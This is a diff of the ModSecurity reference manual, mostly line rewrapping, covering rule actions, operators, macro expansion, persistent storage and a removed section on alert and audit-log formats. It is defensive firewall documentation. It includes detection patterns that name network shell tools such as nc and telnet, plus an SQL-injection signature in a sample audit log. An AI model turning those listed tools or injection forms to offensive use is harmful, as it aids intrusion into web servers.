<literal>setenv</literal> - - Description: Creates, removes, or updates an - environment variable. - + Description: Creates, removes, or updates an environment + variable. Action Group: Non-disruptive - Examples: - - To create a new variable (if you omit the value 1 will be used): - + To create a new variable (if you omit the value 1 + will be used): setenv:name=value - To remove a variable: - setenv:!name - Note - - This action can be used to establish communication with other - Apache modules. + This action can be used to establish communication with other Apache modules.
-
<literal>setvar</literal> - - Description: Creates, removes, or updates a - variable in the specified collection. - + Description: Creates, removes, or updates a variable in the + specified collection. Action Group: Non-disruptive - Examples: - To create a new variable: - setvar:tx.score=10 - To remove a variable prefix the name with exclamation mark: - setvar:!tx.score - - To increase or decrease variable value use + and - - characters in front of a numerical value: - + To increase or decrease variable value use + and + - characters in front of a numerical value: setvar:tx.score=+5
-
<literal>skip</literal> - - Description: Skips one or more rules (or - chains) on successful match. - + Description: Skips one or more rules (or chains) on successful + match. Action Group: Flow - Example: - - SecRule REQUEST_URI "^/$" \ + + SecRule REQUEST_URI "^/$" \ "phase:2,chain,t:none,skip:2" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none" SecRule &REQUEST_HEADERS:Host "@eq 0" \ "deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ - "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" - + "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" + Note - - Skip only applies to the current processing phase and not - necessarily the order in which the rules appear in the configuration - file. If you group rules by processing phases, then skip should work as - expected. This action can not be used to skip rules within one chain. - Accepts a single parameter denoting the number of rules (or chains) to - skip. + Skip only applies to the current processing phase and not necessarily the order in which + the rules appear in the configuration file. If you group rules by processing phases, then + skip should work as expected. This action can not be used to skip rules within one chain. + Accepts a single parameter denoting the number of rules (or chains) to skip.
-
<literal>skipAfter</literal> - - Description: Skips rules (or chains) on - successful match resuming rule execution after the specified rule ID or - marker (see SecMarker) is found. - + Description: Skips rules (or chains) on successful match resuming + rule execution after the specified rule ID or marker (see SecMarker) is + found. Action Group: Flow - Example: - - SecRule REQUEST_URI "^/$" "chain,t:none,skipAfter:960015" + + SecRule REQUEST_URI "^/$" "chain,t:none,skipAfter:960015" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none" SecRule &REQUEST_HEADERS:Host "@eq 0" \ "deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ - "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" - + "log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'" + Note - - SkipAfter only applies to the current - processing phase and not necessarily the order in which the rules appear - in the configuration file. If you group rules by processing phases, then - skip should work as expected. This action can not be used to skip rules - within one chain. Accepts a single parameter denoting the last rule ID - to skip. + SkipAfter only applies to the current processing phase and not + necessarily the order in which the rules appear in the configuration file. If you group + rules by processing phases, then skip should work as expected. This action can not be used + to skip rules within one chain. Accepts a single parameter denoting the last rule ID to + skip.
-
<literal>status</literal> - - Description: Specifies the response status - code to use with actions deny - and redirect. - + Description: Specifies the response status code to use with + actions deny and + redirect. Action Group: Data - Example: - SecDefaultAction log,deny,status:403,phase:1 - Note - - Status actions defined in Apache scope locations (such as - Directory, Location, etc...) may be superseded by phase:1 action - settings. The Apache ErrorDocument directive will be triggered if - present in the configuration. Therefore if you have previously defined a - custom error page for a given status then it will be executed and its - output presented to the user. + Status actions defined in Apache scope locations (such as Directory, Location, etc...) + may be superseded by phase:1 action settings. The Apache ErrorDocument directive will be + triggered if present in the configuration. Therefore if you have previously defined a custom + error page for a given status then it will be executed and its output presented to the + user.
-
<literal>t</literal> - - Description: This action can be used which - transformation function should be used against the specified variables - before they (or the results, rather) are run against the operator - specified in the rule. - + Description: This action can be used which transformation function + should be used against the specified variables before they (or the results, rather) are run + against the operator specified in the rule. Action Group: Non-disruptive - Example: - SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase SecRule REQUEST_COOKIES:SESSIONID "47414e81cbbef3cf8366e84eeacba091" \ log,deny,status:403,t:md5,t:hexEncode - Note - - Any transformation functions that you specify in a SecRule will be - in addition to previous ones specified in SecDefaultAction. Use of - "t:none" will remove all transformation functions for the specified - rule. + Any transformation functions that you specify in a SecRule will be in addition to + previous ones specified in SecDefaultAction. Use of "t:none" will remove all transformation + functions for the specified rule.
-
<literal>tag</literal> - - Description: Assigns custom text to a rule or - chain. - + Description: Assigns custom text to a rule or chain. Action Group: Meta-data - Example: - SecRule REQUEST_FILENAME "\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b" \ "t:none,t:lowercase,deny,msg:'System Command Access',id:'950002',\ tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2',severity:'2'" - Note - - The tag information appears in the error and/or audit log files. - Its intent is to be used to automate classification of rules and the - alerts generated by rules. Multiple tags can be used per - rule/chain. + The tag information appears in the error and/or audit log files. Its intent is to be + used to automate classification of rules and the alerts generated by rules. Multiple tags + can be used per rule/chain.
-
<literal>xmlns</literal> - - Description: This action should be used - together with an XPath expression to register a namespace. - + Description: This action should be used together with an XPath + expression to register a namespace. Action Group: Data - Example: - SecRule REQUEST_HEADERS:Content-Type "text/xml" \ "phase:1,pass,ctl:requestBodyProcessor=XML,ctl:requestBodyAccess=On, \ xmlns:xsd="http://www.w3.org/2001/XMLSchema" SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,deny
-
Operators - - A number of operators can be used in rules, as documented below. The - operator syntax uses the @ symbol followed by the - specific operator name. - + A number of operators can be used in rules, as documented below. The operator syntax uses + the @ symbol followed by the specific operator name.
<literal>beginsWith</literal> - - Description: This operator is a string - comparison and returns true if the parameter value is found at the - beginning of the input. Macro expansion is performed so you may use - variable names such as %{TX.1}, etc. - + Description: This operator is a string comparison and returns true + if the parameter value is found at the beginning of the input. Macro expansion is performed + so you may use variable names such as %{TX.1}, etc. Example: - SecRule REQUEST_LINE "!@beginsWith GET" t:none,deny,status:403 SecRule REQUEST_ADDR "^(.*)\.\d+$" deny,status:403,capture,chain SecRule ARGS:gw "!@beginsWith %{TX.1}"
-
<literal>contains</literal> - - Description: This operator is a string - comparison and returns true if the parameter value is found anywhere in - the input. Macro expansion is performed so you may use variable names - such as %{TX.1}, etc. - + Description: This operator is a string comparison and returns true + if the parameter value is found anywhere in the input. Macro expansion is performed so you + may use variable names such as %{TX.1}, etc. Example: - SecRule REQUEST_LINE "!@contains .php" t:none,deny,status:403 SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain SecRule ARGS:ip "!@contains %{TX.1}"
-
<literal>endsWith</literal> - - Description: This operator is a string - comparison and returns true if the parameter value is found at the end - of the input. Macro expansion is performed so you may use variable names - such as %{TX.1}, etc. - + Description: This operator is a string comparison and returns true + if the parameter value is found at the end of the input. Macro expansion is performed so you + may use variable names such as %{TX.1}, etc. Example: - SecRule REQUEST_LINE "!@endsWith HTTP/1.1" t:none,deny,status:403 SecRule ARGS:route "!@endsWith %{REQUEST_ADDR}" t:none,deny,status:403
-
<literal>eq</literal> - - Description: This operator is a numerical - comparison and stands for "equal to." - + Description: This operator is a numerical comparison and stands for + "equal to." Example: - SecRule &REQUEST_HEADERS_NAMES "@eq 15"
-
<literal>ge</literal> - - Description: This operator is a numerical - comparison and stands for "greater than or equal to." - + Description: This operator is a numerical comparison and stands for + "greater than or equal to." Example: - SecRule &REQUEST_HEADERS_NAMES "@ge 15"
-
<literal>geoLookup</literal> - - Description: This operator looks up various - data fields from an IP address or hostname. The results will be captured - in the GEO collection. - - You must provide a database via SecGeoLookupDb before this operator can be - used. - - See the GEO variable for an - example and more information on various fields available. + Description: This operator looks up various data fields from an IP + address or hostname. The results will be captured in the GEO collection. + You must provide a database via SecGeoLookupDb before + this operator can be used. + See the GEO variable for an example and more + information on various fields available.
-
<literal>gt</literal> - - Description: This operator is a numerical - comparison and stands for "greater than." - + Description: This operator is a numerical comparison and stands for + "greater than." Example: - SecRule &REQUEST_HEADERS_NAMES "@gt 15"
-
<literal>inspectFile</literal> - - Description: Executes the external - script/binary given as parameter to the operator against every file - extracted from the request. As of v2.5.0, if the supplied filename is - not absolute it is treated as relative to the directory in which the - configuration file resides. Also as of v2.5.0, if the filename is - determined to be a Lua script (based on its extension) the script will - be processed by the internal engine. As such it will have full access to - the ModSecurity context. - + Description: Executes the external script/binary given as parameter + to the operator against every file extracted from the request. As of v2.5.0, if the supplied + filename is not absolute it is treated as relative to the directory in which the + configuration file resides. Also as of v2.5.0, if the filename is determined to be a Lua + script (based on its extension) the script will be processed by the internal engine. As such + it will have full access to the ModSecurity context. Example of using an external binary/script: - # Execute external script to validate uploaded files. SecRule FILES_TMPNAMES "@inspectFile /opt/apache/bin/inspect_script.pl" - Example of using Lua script: - SecRule FILES_TMPNANMES "@inspectFile inspect.lua" - Script inspect.lua: - function main(filename) -- Do something to the file to verify it. In this example, we -- read up to 10 characters from the beginning of the file. @@ -5493,922 +3631,366 @@ SecRule FILES_TMPNAMES "@inspectFile /opt/apache/bin/inspec return null; end
-
<literal>le</literal> - - Description: This operator is a numerical - comparison and stands for "less than or equal to." - + Description: This operator is a numerical comparison and stands for + "less than or equal to." Example: - SecRule &REQUEST_HEADERS_NAMES "@le 15"
-
<literal>lt</literal> - - Description: This operator is a numerical - comparison and stands for "less than." - + Description: This operator is a numerical comparison and stands for + "less than." Example: - SecRule &REQUEST_HEADERS_NAMES "@lt 15"
-
<literal>pm</literal> - - Description: Phrase Match operator. This - operator uses a set based matching engine (Aho-Corasick) for faster - matches of keyword lists. It will match any one of its arguments - anywhere in the target value. - + Description: Phrase Match operator. This operator uses a set based + matching engine (Aho-Corasick) for faster matches of keyword lists. It will match any one of + its arguments anywhere in the target value. Example: - SecRule REQUEST_HEADERS:User-Agent "@pm WebZIP WebCopier Webster WebStripper SiteSnagger ProWebWalker CheeseBot" "deny,status:403 - - The above would deny access with 403 if any of the words matched - within the User-Agent HTTP header value. + The above would deny access with 403 if any of the words matched within the User-Agent + HTTP header value.
-
<literal>pmFromFile</literal> - - Description: Phrase Match operator. This - operator uses a set based matching engine (Aho-Corasick) for faster - matches of keyword lists. This operator is the same as - @pm except that it takes a list of files as - arguments. It will match any one of the phrases listed in the file(s) - anywhere in the target value. - + Description: Phrase Match operator. This operator uses a set based + matching engine (Aho-Corasick) for faster matches of keyword lists. This operator is the + same as @pm except that it takes a list of files as arguments. It will + match any one of the phrases listed in the file(s) anywhere in the target value. Notes: - - The contents of the files should be one phrase per line. End - of line markers will be stripped from the phrases, however, - whitespace will not be trimmed from phrases in the file. Empty lines - and comment lines (beginning with a '#') are ignored. + The contents of the files should be one phrase per line. End of line markers will be + stripped from the phrases, however, whitespace will not be trimmed from phrases in the + file. Empty lines and comment lines (beginning with a '#') are ignored. - - To allow easier inclusion of phrase files with rulesets, - relative paths may be used to the phrase files. In this case, the - path of the file containing the rule is prepended to the phrase file - path. + To allow easier inclusion of phrase files with rulesets, relative paths may be used + to the phrase files. In this case, the path of the file containing the rule is prepended + to the phrase file path. - Example: - SecRule REQUEST_HEADERS:User-Agent "@pm /path/to/blacklist1 blacklist2" "deny,status:403 - - The above would deny access with 403 if any of the patterns in the - two files matched within the User-Agent HTTP header value. The - blacklist2 file would need to be placed in the same - path as the file containing the rule. + The above would deny access with 403 if any of the patterns in the two files matched + within the User-Agent HTTP header value. The blacklist2 file would need + to be placed in the same path as the file containing the rule.
-
<literal>rbl</literal> - - Description: Look up the parameter in the RBL - given as parameter. Parameter can be an IPv4 address, or a - hostname. - + Description: Look up the parameter in the RBL given as parameter. + Parameter can be an IPv4 address, or a hostname. Example: - SecRule REMOTE_ADDR "@rbl sc.surbl.org"
-
<literal>rx</literal> - - Description: Regular expression operator. - This is the default operator, so if the "@" operator is not defined, it - is assumed to be rx. - + Description: Regular expression operator. This is the default + operator, so if the "@" operator is not defined, it is assumed to be rx. Example: - SecRule REQUEST_HEADERS:User-Agent "@rx nikto" - Note - - Regular expressions are handled by the PCRE library (http://www.pcre.org). ModSecurity - compiles its regular expressions with the following settings: - + Regular expressions are handled by the PCRE library (http://www.pcre.org). ModSecurity compiles its regular expressions with the + following settings: - The entire input is treated as a single line, even when there - are newline characters present. + The entire input is treated as a single line, even when there are newline characters + present. - - All matches are case-sensitive. If you do not care about case - sensitivity you either need to implement the lowercase transformation function, or use - the per-pattern(?i)modifier, as - allowed by PCRE. + All matches are case-sensitive. If you do not care about case sensitivity you either + need to implement the lowercase transformation + function, or use the per-pattern(?i)modifier, as + allowed by PCRE. - - The PCRE_DOTALL and - PCRE_DOLLAR_ENDONLY flags are set - during compilation, meaning a single dot will match any character, - including the newlines and a $ - end anchor will not match a trailing newline character. + The PCRE_DOTALL and PCRE_DOLLAR_ENDONLY flags are set during compilation, meaning a single dot + will match any character, including the newlines and a $ end anchor will not match a trailing newline character.
-
<literal>streq</literal> - - Description: This operator is a string - comparison and returns true if the parameter value matches the input - exactly. Macro expansion is performed so you may use variable names such - as %{TX.1}, etc. - + Description: This operator is a string comparison and returns true + if the parameter value matches the input exactly. Macro expansion is performed so you may + use variable names such as %{TX.1}, etc. Example: - SecRule ARGS:foo "!@streq bar" t:none,deny,status:403 SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain SecRule REQUEST_HEADERS:Ip-Address "!@streq %{TX.1}"
-
<literal>validateByteRange</literal> - - Description: Validates the byte range used in - the variable falls into the specified range. - + Description: Validates the byte range used in the variable falls + into the specified range. Example: - SecRule ARG:text "@validateByteRange 10, 13, 32-126" - Note - - You can force requests to consist only of bytes from a certain - byte range. This can be useful to avoid stack overflow attacks (since - they usually contain "random" binary content). Default range values are - 0 and 255, i.e. all byte values are allowed. This directive does not - check byte range in a POST payload when - multipart/form-data encoding (file upload) is used. - Doing so would prevent binary files from being uploaded. However, after - the parameters are extracted from such request they are checked for a - valid range. - - validateByteRange is similar to the ModSecurity 1.X - SecFilterForceByteRange Directive however since it works in a rule - context, it has the following differences: - + You can force requests to consist only of bytes from a certain byte range. This can be + useful to avoid stack overflow attacks (since they usually contain "random" binary content). + Default range values are 0 and 255, i.e. all byte values are allowed. This directive does + not check byte range in a POST payload when multipart/form-data encoding + (file upload) is used. Doing so would prevent binary files from being uploaded. However, + after the parameters are extracted from such request they are checked for a valid + range. + validateByteRange is similar to the ModSecurity 1.X SecFilterForceByteRange Directive + however since it works in a rule context, it has the following differences: - You can specify a different range for different - variables. + You can specify a different range for different variables. - It has an "event" context (id, msg....) - - It is executed in the flow of rules rather than being a built - in pre-check. + It is executed in the flow of rules rather than being a built in pre-check.
-
<literal>validateDTD</literal> - - Description: Validates the DOM tree generated - by the XML request body processor against the supplied DTD. - + Description: Validates the DOM tree generated by the XML request + body processor against the supplied DTD. Example: - SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 SecRule XML "@validateDTD /path/to/apache2/conf/xml.dtd" "deny,id:12345" - - This operator requires request body to be processed as - XML. + This operator requires request body to be processed as XML.
-
<literal>validateSchema</literal> - - Description: Validates the DOM tree generated - by the XML request body processor against the supplied XML - Schema. - + Description: Validates the DOM tree generated by the XML request + body processor against the supplied XML Schema. Example: - SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 SecRule XML "@validateSchema /path/to/apache2/conf/xml.xsd" "deny,id:12345" - - This operator requires request body to be processed as - XML. + This operator requires request body to be processed as XML.
-
<literal>validateUrlEncoding</literal> - - Description: Verifies the encodings used in - the variable (if any) are valid. - + Description: Verifies the encodings used in the variable (if any) + are valid. Example: - SecRule ARGS "@validateUrlEncoding" - Note - - URL encoding is an HTTP standard for encoding byte values within a - URL. The byte is escaped with a % followed by two hexadecimal values - (0-F). This directive does not check encoding in a POST payload when the - multipart/form-data encoding (file upload) is used. - It is not necessary to do so because URL encoding is not used for this - encoding. + URL encoding is an HTTP standard for encoding byte values within a URL. The byte is + escaped with a % followed by two hexadecimal values (0-F). This directive does not check + encoding in a POST payload when the multipart/form-data encoding (file + upload) is used. It is not necessary to do so because URL encoding is not used for this + encoding.
-
<literal>validateUtf8Encoding</literal> - - Description: Verifies the variable is a valid - UTF-8 encoded string. - + Description: Verifies the variable is a valid UTF-8 encoded + string. Example: - SecRule ARGS "@validateUtf8Encoding" - Note - - UTF-8 encoding is valid on most web servers. Integer values - between 0-65535 are encoded in a UTF-8 byte sequence that is escaped by - percents. The short form is two bytes in length. - + UTF-8 encoding is valid on most web servers. Integer values between 0-65535 are encoded + in a UTF-8 byte sequence that is escaped by percents. The short form is two bytes in + length. check for three types of errors: - - Not enough bytes. UTF-8 supports two, three, four, five, and - six byte encodings. ModSecurity will locate cases when a byte or - more is missing. + Not enough bytes. UTF-8 supports two, three, four, five, and six byte encodings. + ModSecurity will locate cases when a byte or more is missing. - - Invalid encoding. The two most significant bits in most - characters are supposed to be fixed to 0x80. Attackers can use this - to subvert Unicode decoders. + Invalid encoding. The two most significant bits in most characters are supposed to + be fixed to 0x80. Attackers can use this to subvert Unicode decoders. - - Overlong characters. ASCII characters are mapped directly into - the Unicode space and are thus represented with a single byte. - However, most ASCII characters can also be encoded with two, three, - four, five, and six characters thus tricking the decoder into - thinking that the character is something else (and, presumably, - avoiding the security check). + Overlong characters. ASCII characters are mapped directly into the Unicode space and + are thus represented with a single byte. However, most ASCII characters can also be + encoded with two, three, four, five, and six characters thus tricking the decoder into + thinking that the character is something else (and, presumably, avoiding the security + check).
-
<literal>verifyCC</literal> - - Description: This operator verifies a given - regular expression as a potential credit card number. It first matches - with a single generic regular expression then runs the resulting match - through a Luhn checksum algorithm to further verify it as a potential - credit card number. - + Description: This operator verifies a given regular expression as a + potential credit card number. It first matches with a single generic regular expression then + runs the resulting match through a Luhn checksum algorithm to further verify it as a + potential credit card number. Example: - SecRule ARGS "@verifyCC \d{13,16}" \ "phase:2,sanitiseMatched,log,auditlog,pass,msg:'Potential credit card number'"
-
<literal>within</literal> - - Description: This operator is a string - comparison and returns true if the input value is found anywhere within - the parameter value. Note that this is similar to - @contains, except that the target and match values - are reversed. Macro expansion is performed so you may use variable names - such as %{TX.1}, etc. - + Description: This operator is a string comparison and returns true + if the input value is found anywhere within the parameter value. Note that this is similar + to @contains, except that the target and match values are reversed. Macro + expansion is performed so you may use variable names such as %{TX.1}, etc. Example: - SecRule REQUEST_METHOD "!@within get,post,head" t:lowercase,deny,status:403 SecAction "pass,setvar:'tx.allowed_methods=get,post,head'" SecRule REQUEST_METHOD "!@within %{tx.allowed_methods}" t:lowercase,deny,status:403
-
Macro Expansion - - Macros allow for using place holders in rules that will be expanded - out to their values at runtime. Currently only variable expansion is - supported, however more options may be added in future versions of - ModSecurity. - + Macros allow for using place holders in rules that will be expanded out to their values at + runtime. Currently only variable expansion is supported, however more options may be added in + future versions of ModSecurity. Format: - %{VARIABLE} %{COLLECTION.VARIABLE} - - Macro expansion can be used in actions such as initcol, setsid, - setuid, setvar, setenv, logdata. Operators that are evaluated at runtime - support expansion and are noted above. Such operators include @beginsWith, - @endsWith, @contains, @within and @streq. You cannot use macro expansion - for operators that are "compiled" such as @pm, @rx, etc. as these - operators have their values fixed at configure time for efficiency. - - Some values you may want to expand include: TX, REMOTE_ADDR, USERID, - HIGHEST_SEVERITY, MATCHED_VAR, MATCHED_VAR_NAME, MULTIPART_STRICT_ERROR, - RULE, SESSION, USERID, among others. + Macro expansion can be used in actions such as initcol, setsid, setuid, setvar, setenv, + logdata. Operators that are evaluated at runtime support expansion and are noted above. Such + operators include @beginsWith, @endsWith, @contains, @within and @streq. You cannot use macro + expansion for operators that are "compiled" such as @pm, @rx, etc. as these operators have + their values fixed at configure time for efficiency. + Some values you may want to expand include: TX, REMOTE_ADDR, USERID, HIGHEST_SEVERITY, + MATCHED_VAR, MATCHED_VAR_NAME, MULTIPART_STRICT_ERROR, RULE, SESSION, USERID, among + others.
-
Persistant Storage - - At this time it is only possible to have three collections in which - data is stored persistantly (i.e. data available to multiple requests). - These are: IP, SESSION and USER. - - Every collection contains several built-in variables that are - available and are read-only unless otherwise specified: - + At this time it is only possible to have three collections in which data is stored + persistantly (i.e. data available to multiple requests). These are: IP, SESSION and USER. + Every collection contains several built-in variables that are available and are read-only + unless otherwise specified: - CREATE_TIME - date/time of - the creation of the collection. + CREATE_TIME - date/time of the creation of the + collection. - - IS_NEW - set to 1 if the - collection is new (not yet persisted) otherwise set to 0. + IS_NEW - set to 1 if the collection is new (not yet + persisted) otherwise set to 0. - - KEY - the value of the - initcol variable (the client's IP address in the example). + KEY - the value of the initcol variable (the + client's IP address in the example). - - LAST_UPDATE_TIME - date/time - of the last update to the collection. + LAST_UPDATE_TIME - date/time of the last update to + the collection. - - TIMEOUT - date/time in - seconds when the collection will be updated on disk from memory (if no - other updates occur). This variable may be set if you wish to specifiy - an explicit expiration time (default is 3600 seconds). + TIMEOUT - date/time in seconds when the collection + will be updated on disk from memory (if no other updates occur). This variable may be set + if you wish to specifiy an explicit expiration time (default is 3600 seconds). - - UPDATE_COUNTER - how many - times the collection has been updated since creation. + UPDATE_COUNTER - how many times the collection has + been updated since creation. - - UPDATE_RATE - is the average - rate updates per minute since creation. + UPDATE_RATE - is the average rate updates per + minute since creation. - - To create a collection to hold session variables (SESSION) use action setsid. To create a collection to hold user - variables (USER) use action setuid. To create a collection to hold client - address variables (IP) use action - initcol. - + To create a collection to hold session variables (SESSION) use action setsid. To create a + collection to hold user variables (USER) use action + setuid. To create a collection to hold client address + variables (IP) use action initcol. - ModSecurity implements atomic updates of persistent variables only - for integer variables (counters) at this time. Variables are read from - storage whenever initcol is encountered in the rules - and persisted at the end of request processing. Counters are adjusted by - applying a delta generated by re-reading the persisted data just before - being persisted. This keeps counter data consistent even if the counter - was modified and persisted by another thread/process during the - transaction. + ModSecurity implements atomic updates of persistent variables only for integer variables + (counters) at this time. Variables are read from storage whenever initcol + is encountered in the rules and persisted at the end of request processing. Counters are + adjusted by applying a delta generated by re-reading the persisted data just before being + persisted. This keeps counter data consistent even if the counter was modified and persisted + by another thread/process during the transaction. - - ModSecurity uses a Berkley Database (SDBM) for persistant storage. - This type of database is generally limited to storing a maximum of 1008 - bytes per key. This may be a limitation if you are attempting to store a - considerable amount of data in variables for a single key. Some of this - limitation is planned to be reduced in a future version of - ModSecurity. + ModSecurity uses a Berkley Database (SDBM) for persistant storage. This type of database + is generally limited to storing a maximum of 1008 bytes per key. This may be a limitation if + you are attempting to store a considerable amount of data in variables for a single key. + Some of this limitation is planned to be reduced in a future version of ModSecurity.
- -
- Data Formats - - This section documents the various data formats used by - ModSecurity. - -
- Alerts - - Below is an example of a ModSecurity alert entry. It is always - contained on a single line but we've broken it here into multiple lines - for readability. - - Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$" -against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version -is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id -"PQaTTVBEUOkAAFwKXrYAAAAM"] - - Each alert entry begins with the engine message: - - Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$" -against "REQUEST_PROTOCOL" required. - - The engine message consists of two parts. The first part tells you - whether ModSecurity acted to interrupt transaction or rule processing. - If it did nothing the first part of the message will simply say - "Warning". If an action was taken then one of the following messages - will be used: - - - - Access denied with code %0 - a response - with status code %0 was sent. - - - - Access denied with connection close - - connection was abruptly closed. - - - - Access denied with redirection to %0 using status - %1 - a redirection to URI %0 was issued using status - %1. - - - - Access allowed - rule engine stopped - processing rules (transaction was unaffected). - - - - Access to phase allowed - rule engine - stopped processing rules in the current phase only. Subsequent - phases will be processed normally. Transaction was not affected by - this rule but it may be affected by any of the rules in the - subsequent phase. - - - - Access to request allowed - rule engine - stopped processing rules in the current phase. Phases prior to - request execution in the backend (currently phases 1 and 2) will not - be processed. The response phases (currently phases 3 and 4) and - others (currently phase 5) will be processed as normal. Transaction - was not affected by this rule but it may be affected by any of the - rules in the subsequent phase. - - - - The second part of the engine message explains - why the event was generated. Since it is - automatically generated from the rules it will be very technical in - nature talking about operators and their parameters and give you insight - into what the rule looked like. But this message cannot give you insight - into the reasoning behind the rule. A well-written rule will always - specify a human-readable message (using the msg - action) to provide further clarification. - - The format of the second part of the engine message depends on - whether it was generated by the operator (which happens on a match) or - by the rule processor (which happens where there is not a match, but the - negation was used): - - - - @beginsWith s- String match %0 at %1. - - - - @contains - String match %0 at %1. - - - - @containsWord - String match %0 at %1. - - - - @endsWith - String match %0 at %1. - - - - @eq - Operator EQ matched %0 at %1. - - - - @ge - Operator GE matched %0 at %1. - - - - @geoLookup - Geo lookup for %0 succeeded at %1. - - - - @inspectFile - File %0 rejected by the approver script %1: - %2 - - - - @le - Operator LE matched %0 at %1. - - - - @lt - Operator LT matched %0 at %1. - - - - @rbl - RBL lookup of %0 succeeded at %1. - - - - @rx - Pattern match %0 at %1. - - - - @streq - String match %0 at %1. - - - - @validateByteRange - Found %0 byte(s) in %1 outside range: - %2. - - - - @validateDTD - XML: DTD validation failed. - - - - @validateSchema - XML: Schema validation failed. - - - - @validateUrlEncoding - - - - Invalid URL Encoding: Non-hexadecimal digits used at - %0. - - - - Invalid URL Encoding: Not enough characters at the end of - input at %0. - - - - - - @validateUtf8Encoding - - - - Invalid UTF-8 encoding: not enough bytes in character at - %0. - - - - Invalid UTF-8 encoding: invalid byte value in character at - %0. - - - - Invalid UTF-8 encoding: overlong character detected at - %0. - - - - Invalid UTF-8 encoding: use of restricted character at - %0. - - - - Invalid UTF-8 encoding: decoding error at %0. - - - - - - @verifyCC - CC# match %0 at %1. - - - - Messages not related to operators: - - - - When SecAction directive is processed - - Unconditional match in SecAction. - - - - When SecRule does not match but negation is - used - Match of %0 against %1 required. - - - - The metadata fields are always placed at the end of the alert - entry. Each metadata field is a text fragment that consists of an open - bracket followed by the metadata field name, followed by the value and - the closing bracket. What follows is the text fragment that makes up the - id metadata field. - - [id "960034"] - - The following metadata fields are currently used: - - - - offset - The byte offset where a match - occured within the target data. This is not always available. - - - - id - Unique rule ID, as specified by the - id action. - - - - rev - Rule revision, as specified by the - rev action. - - - - msg - Human-readable message, as specified - by the msg action. - - - - severity - Event severity, as specified by - the severity action. - - - - unique_id - Unique event ID, generated - automatically. - - - - uri - Request URI. - - - - logdata - contains transaction data - fragment, as specified by the logdata - action. - - - -
- Alerts in Apache - - Every ModSecurity alert conforms to the following format when it - appears in the Apache error log: - - [Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] - ModSecurity: ALERT_MESSAGE - - The above is a standard Apache error log format. The " - ModSecurity:" prefix is specific to ModSecurity. It is used to allow - quick identification of ModSecurity alert messages when they appear in - the same file next to other Apache messages. - - The actual message (ALERT_MESSAGE in the - example above) is in the same format as described in the - Alerts section. -
- -
- Alerts in Audit Log - - Alerts are transported in the H section of - the ModSecurity Audit Log. Alerts will appear each on a separate line - and in the order they were generated by ModSecurity. Each line will be - in the following format: - - Message: ALERT_MESSAGE - - Below is an example of an entire H section - (followed by the Z section terminator): - - --c7036611-H-- -Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"] - [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"] -Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100} - ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_ - (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"] - [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"] -Stopwatch: 1199881676978327 2514 (396 2224 -) -Producer: ModSecurity v2.x.x (Apache 2.x) -Server: Apache/2.x.x - ---c7036611-Z-- -
-
- -
